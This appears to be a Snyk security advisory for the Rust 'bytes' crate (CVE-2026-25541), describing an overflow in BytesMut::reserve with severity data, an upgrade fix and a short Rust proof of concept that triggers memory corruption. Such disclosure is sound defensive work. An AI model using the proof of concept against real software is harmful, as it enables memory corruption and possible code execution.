Race Condition Affecting bytes package, versions >=1.2.1 <1.11.1


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.01% (3rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Race Condition vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-BYTES-15191460
  • published3 Feb 2026
  • disclosed3 Feb 2026
  • creditksj1230

Introduced: 3 Feb 2026

CVE-2026-25541  (opens in a new tab)
CWE-362  (opens in a new tab)

How to fix?

Upgrade bytes to version 1.11.1 or higher.

Overview

bytes is an A utility library for working with bytes.

Affected versions of this package are vulnerable to Race Condition via the BytesMut::reserve function. An attacker can cause memory corruption and potentially execute arbitrary code or trigger undefined behavior by supplying crafted input values that result in integer overflow during memory allocation calculations.

Note: This is only exploitable if integer overflow checks are configured to wrap instead of panic.

PoC

use bytes::*;

fn main() {
    let mut a = BytesMut::from(&b"hello world"[..]);
    let mut b = a.split_off(5);

    // Ensure b becomes the unique owner of the backing storage
    drop(a);

    // Trigger overflow in new_cap + offset inside reserve
    b.reserve(usize::MAX - 6);

    // This call relies on the corrupted cap and may cause UB & HBO
    b.put_u8(b'h');
}

CVSS Base Scores

version 4.0
version 3.1